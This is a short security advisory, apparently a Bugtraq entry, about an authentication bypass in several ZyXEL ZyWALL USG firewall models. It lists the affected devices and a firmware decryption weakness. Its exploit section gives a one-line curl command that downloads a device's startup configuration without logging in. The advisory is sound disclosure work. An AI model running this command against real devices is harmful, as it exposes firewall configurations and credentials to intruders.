Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

Bugtraq ID:	47707
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 04 2011 12:00AM
Updated:	May 04 2011 12:00AM
Credit:	RedTeam Pentesting GmbH
Vulnerable:	ZyXEL ZYWall USG-50 ZyXEL ZYWall USG-300 ZyXEL ZYWall USG-20W ZyXEL ZYWall USG-2000 ZyXEL ZYWall USG-200 ZyXEL ZYWall USG-20 ZyXEL ZYWall USG-1050 ZyXEL ZYWall USG-1000 ZyXEL ZYWall USG-100
Not Vulnerable:

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

Multiple ZyWALL USG products are prone to a security-bypass vulnerability.

Successful exploits may allow attackers to bypass certain security restrictions and perform unauthorized actions.

Note: Reportedly, the firmware is also prone to a weakness that allows password-protected upgrade files to be decrypted with a known plaintext attack.

The following products are vulnerable:

ZyWALL USG-20
ZyWALL USG-20W
ZyWALL USG-50
ZyWALL USG-100
ZyWALL USG-200
ZyWALL USG-300
ZyWALL USG-1000
ZyWALL USG-1050
ZyWALL USG-2000

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

The following example is available:

curl --silent -o startup-config.conf https://www.example.com/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf";

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

Solution:
Reportedly, the issue is fixed; however, Symantec has not confirmed this. Please contact the vendor for more information.

Multiple ZyWALL USG Products Remote Security Bypass Vulnerability

References:

• Authentication Bypass in Configuration Import and Export of ZyXEL ZyWALL USG App (RedTeam GMBH)
  
• Vendor Homepage (ZyXEL)